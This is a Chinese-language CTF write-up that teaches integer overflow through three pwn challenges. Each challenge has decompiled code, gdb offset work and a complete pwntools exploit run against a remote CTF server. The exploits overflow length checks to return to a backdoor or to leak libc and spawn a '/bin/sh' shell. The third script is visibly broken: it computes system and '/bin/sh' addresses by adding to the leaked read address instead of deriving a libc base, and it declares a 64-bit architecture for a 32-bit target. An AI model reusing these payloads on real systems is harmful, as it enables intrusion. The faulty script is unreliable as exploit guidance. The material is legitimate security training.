我们前面学习了栈迁移等一系列知识,想起来还有整数溢出没有学习,这里记录一下学习过程,也分享给各位进行学习。
CTFwiki是这么说的:
在 C 语言中,整数的基本数据类型分为短整型 (short),整型 (int),长整型 (long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),如下所示:
类型 | 字节 | 范围 |
---|---|---|
short int | 2byte(word) | 0至32767(0-0x7fff) -32768至-1(0x8000~0xffff) |
unsigned short int | 2byte(word) | 0至65535(0至0xffff) |
int | 4byte(dword) | 0至2147483647(0~0x7fffffff) -2147483648至-1(0x80000000~0xffffffff) |
unsigned int | 4byte(dword) | 0至4294967295(0~0xffffffff) |
long int | 8byte(qword) | 正: 0~0x7fffffffffffffff 负: 0x8000000000000000~0xffffffffffffffff |
unsigned long int | 8byte(qword) | 0~0xffffffffffffffff |
当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。
溢出类漏洞
计算机中有 4 种溢出情况,以 32 位整数为例。
① 无符号上溢:无符号数 0xffffffff 加 1 会变成 0。
② 无符号下溢:无符号数 0 减去 1 会变成 0xffffffff,即-1。
③ 有符号上溢:有符号正数 0x7fffffff 加 1 变成 0x80000000, 即从 2147483647 变成了-2147483648。
④ 有符号下溢:有符号负数 0x80000000 减去 1 变成 0x7fffffff,即从-2147483648 变成了 2147483647。
一个经典的整数溢出例子就是 c 语言的 abs 函数,int abs(int x),该函数返回 x 的绝对值。但当 abs()函数的参数是 0x80000000 即-2147483648 的时候,它本来应该返回2147483648,但正整数的范围是 0-2147483647,所以他返回的仍然是个负数,即本身-2147483648。
看起来不是很好理解吧,这里我比较通俗的画图进行解释(这里以unsigned short int为例)
1字节->8位
经过转化,可以看到是符合我们上面给出的范围的,如果我们输入一个十进制数为65536呢?
65536相当于在65535后面加上一个1,这样的话其实就溢出了,根据计算机的存储原理,这样的话就会变为0,然后就会变成
1 00000000 00000000这个情况,但是unsigned short int占用2字节,所以取00000000 00000000
所以我们是不是就是根据上面这个原理,将一些很大的数或者负数会和某一个数字相同,这其实也就是整数溢出的利用原理
我们也可以写一个程序,看一下是不是符合我们上面说的这个逻辑
#include <stdio.h> int main(){ unsigned short int var1 = 1,var2 = 65537; if (var1==var2) { printf("stackoverflow"); } return 0; }
可以看到经过测试确实是存在上述逻辑的,接下来结合题目进行讲解
checksec&file
32位程序,开启了堆栈不可执行
IDA静态分析
main()
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+Ch] [ebp-Ch] BYREF setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts("---------------------"); puts("~~ Welcome to CTF! ~~"); puts(" 1.Login "); puts(" 2.Exit "); puts("---------------------"); printf("Your choice:"); __isoc99_scanf("%d", &v4); if ( v4 == 1 ) { login(); } else { if ( v4 == 2 ) { puts("Bye~"); exit(0); } puts("Invalid Choice!"); } return 0; }
就是一个选择选项的逻辑,如果选1就跳转到login(),如果选2则退出
login()
int login() { char buf[512]; // [esp+0h] [ebp-228h] BYREF char s[40]; // [esp+200h] [ebp-28h] BYREF memset(s, 0, 0x20u); memset(buf, 0, sizeof(buf)); puts("Please input your username:"); read(0, s, 0x19u); printf("Hello %s\n", s); puts("Please input your passwd:"); read(0, buf, 0x199u); return check_passwd(buf); }
这里大体看一下是不存在漏洞的,再看一下check_passwd()
check_passwd()
char *__cdecl check_passwd(char *s) { char dest[11]; // [esp+4h] [ebp-14h] BYREF unsigned __int8 v3; // [esp+Fh] [ebp-9h] v3 = strlen(s); if ( v3 <= 3u || v3 > 8u ) { puts("Invalid Password"); return (char *)fflush(stdout); } else { puts("Success"); fflush(stdout); return strcpy(dest, s); } }
这里存在栈溢出的点,可以利用strcpy将s的值复制给dest,这就存在栈溢出了
可以看到定义了一个无符号变量v3,v3就是输入的变量s的长度
然后这里利用strlen()对变量s的长度进行了检测,其实这里也就是我们之后利用整数溢出的漏洞利用点
what_is_this()
int what_is_this() { return system("cat flag"); }
后门函数
其实这道题目的思路也就有了,就是利用整数溢出绕过检测,然后ret2text
gdb动调
在check_passwd下一个断点
b *0x080486A4
之后输入username和passwd看一下栈结构找一下溢出字节
>>> 0xffffce80-0xffffce6c
20
20+4=24
exp:
#coding=utf-8 import os import sys import time from pwn import * from ctypes import * context.log_level='debug' context.arch='i386' p=remote("61.147.171.105",59290) #p=process('./pwn') elf = ELF('./pwn') libc = ELF('/lib/i386-linux-gnu/libc.so.6') s = lambda data :p.send(data) ss = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(data) sls = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] def dbg(): gdb.attach(p,'b *$rebase(0x13aa)') pause() backdoor=0x0804868B ru('Your choice:') s('1') r s('evil') payload = b'a'*0x14 +b'a'*4 + p32(backdoor) payload = payload.ljust(260,b'a') ru('Please input your passwd:') s(payload) p.interactive()
解释一下exp中最关键的一步
首先这里是先进行了一个栈溢出,覆盖了父函数的ebp,然后将ret_addr设定为后门函数,之后为什么我们要填充payload长度为260呢
这里v3的类型是unsigned __int8,是无符号型,而且是int8的,一共8位,这里算一下十进制
最大是255,所以我们这里的整数溢出是
3+255->258,如果我们长度超过了258即可溢出,如果是258的话其实就是0
我们passwd的范围是3<=passwd<8,所以这里我选用了260
file&checksec
IDA分析
main()
int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); return vuln(); }
调用了vuln()函数
vuln()
int vuln() { char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF int v2; // [esp+3Ch] [ebp-Ch] printf("How many bytes do you want me to read? "); get_n(nptr, 4); v2 = atoi(nptr); if ( v2 > 32 ) return printf("No! That size (%d) is too large!\n", v2); printf("Ok, sounds good. Give me %u bytes of data!\n", v2); get_n(nptr, v2); return printf("You said: %s\n", nptr); }
这里存在栈溢出漏洞,我们定义的nptr()变量距离ebp距离为0x2c,如果我们绕过长度限制,是不是就可以读入超过0x2c距离的字节呢,因此就产生栈溢出
get_n()
int __cdecl get_n(int a1, unsigned int a2) { unsigned int v2; // eax int result; // eax char v4; // [esp+Bh] [ebp-Dh] unsigned int i; // [esp+Ch] [ebp-Ch] for ( i = 0; ; ++i ) { v4 = getchar(); if ( !v4 || v4 == 10 || i >= a2 ) break; v2 = i; *(_BYTE *)(v2 + a1) = v4; } result = a1 + i; *(_BYTE *)(a1 + i) = 0; return result; }
这里通俗一点讲,其实就是第一个参数是指针,第二个参数是输入的长度,这里有一个整数溢出漏洞点,我们这里的第二个参数的类型是
unsigned int,但是回到我们的vuln(),这里定义的第二个参数其实是int类型的,属于强制类型转换,因此产生整数溢出漏洞
gdb动调
看一下溢出字节
0xffffcbd8-0xffffcbac=44
44+4=48
所以我们思路也就有了:
exp:
#coding=utf-8 import os import sys import time from pwn import * from ctypes import * context.log_level='debug' context.arch='i386' p=remote("node4.buuoj.cn",25883) #p=process('./pwn') elf = ELF('./pwn') libc = ELF('Ubantu16 32bit.so') s = lambda data :p.send(data) ss = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(data) sls = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] def dbg(): gdb.attach(p,'b *$rebase(0x13aa)') pause() ret=0x08048346 printf_plt=0x08048370 printf_got=elf.got['printf'] leak('printf_got',printf_got) main=elf.symbols['main'] ru('How many bytes do you want me to read? ') sls(-1) ru('bytes of data!\n') pl='a'*48+p32(printf_plt)+p32(main)+p32(printf_got) sl(pl) ru('\n') printf=uu32(r(4)) leak('printf',printf) libcbase=printf-libc.symbols['printf'] leak('libcbase',libcbase) system=libcbase+libc.symbols['system'] leak('system',system) binsh=libcbase+next(libc.search('/bin/sh\00')) leak('binsh',binsh) ru('How many bytes do you want me to read? ') sls(-1) pl2='a'*48+p32(system)+p32(main)+p32(binsh) ru('bytes of data!\n') sl(pl2) p.interactive()
file&checksec
IDA静态分析
这道题目去除了符号表
main()
int __cdecl main() { int buf; // [esp+4h] [ebp-14h] BYREF char v2; // [esp+Bh] [ebp-Dh] int fd; // [esp+Ch] [ebp-Ch] sub_80486BB(); fd = open("/dev/urandom", 0); if ( fd > 0 ) read(fd, &buf, 4u); v2 = sub_804871F(buf); sub_80487D0(v2); return 0; }
调用了sub_80486BB(),然后fd是open的返回值
如果操作成功,它将返回一个文件描述符,如果操作失败,它将返回-1;
之后就是一个read(),就是将fd所指向的随机数写入到buf,长度4个字节
之后再v2赋值,再对v2进行判断
sub_80486BB()
int sub_80486BB() { alarm(0x3Cu); signal(14, (__sighandler_t)handler); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); return setvbuf(stderr, 0, 2, 0); }
sub_804871F()
int __cdecl sub_804871F(int a1) { size_t v1; // eax char s[32]; // [esp+Ch] [ebp-4Ch] BYREF char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF ssize_t v5; // [esp+4Ch] [ebp-Ch] memset(s, 0, sizeof(s)); memset(buf, 0, sizeof(buf)); sprintf(s, "%ld", a1); v5 = read(0, buf, 0x20u); buf[v5 - 1] = 0; v1 = strlen(buf); if ( strncmp(buf, s, v1) ) exit(0); write(1, "Correct\n", 8u); return (unsigned __int8)buf[7]; }
这里是先将随机数通过sprintf()函数写入数组s中,之后v5 read()读取buf 0x20的大小,之后再比较buf与s的前v1个字符,如果成功则打印字符,不相同则退出程序,然后返回buf[7]的值,所以我们需要构造buf[7]
sub_80487D0()
ssize_t __cdecl sub_80487D0(char a1) { char buf[231]; // [esp+11h] [ebp-E7h] BYREF if ( a1 == 127 ) return read(0, buf, 0xC8u); else return read(0, buf, a1); }
就是一个判断,如果a1的值等于127,则想buf中写入0xc8的大小,否则写入a1大小的值,这里也是存在栈溢出的点
思路:
我们经过前面的分析,buf是生成的随机数,s是一个数组,是不可能完全相等的,但是我们可以利用00截断,将buf的长度设置为0,这样的话其实就可以绕过了
strcmp的特性是遇到’\0’就停止比较字符串,这里可以考虑00截断绕过。
这个就需要利用ASCII码转义'\x'了,因为a1被定义为char类型,所以需要利用ascii码转义
'\xhh'->两位十六进制
'\xff'->255
所以可以进行构造一个能够溢出的长度
exp:
#coding=utf-8 import os import sys import time from pwn import * from ctypes import * context.log_level='debug' context.arch='amd64' p=remote("node4.buuoj.cn",28775) #p=process('./pwn') elf = ELF('./pwn') libc = ELF('./libc.so') s = lambda data :p.send(data) ss = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(data) sls = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] def dbg(): gdb.attach(p,'b *$rebase(0x13aa)') pause() write_plt=elf.symbols['write'] leak('write_plt',write_plt) read_got=elf.got['read'] leak('read_got',read_got) main=0x08048825 pl='\00'+'\xff'*7 s(pl) ru('Correct\n') pl2=cyclic(235)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4) s(pl2) read=uu32(r(4)) leak('read',read) system=read+libc.symbols['read'] leak('system',system) binsh=read+next(libc.search('/bin/sh\00')) leak('binsh',binsh) s(pl) ru('Correct\n') pl3=cyclic(235)+p32(system)+'a'*4+p32(binsh) s(pl3) p.interactive()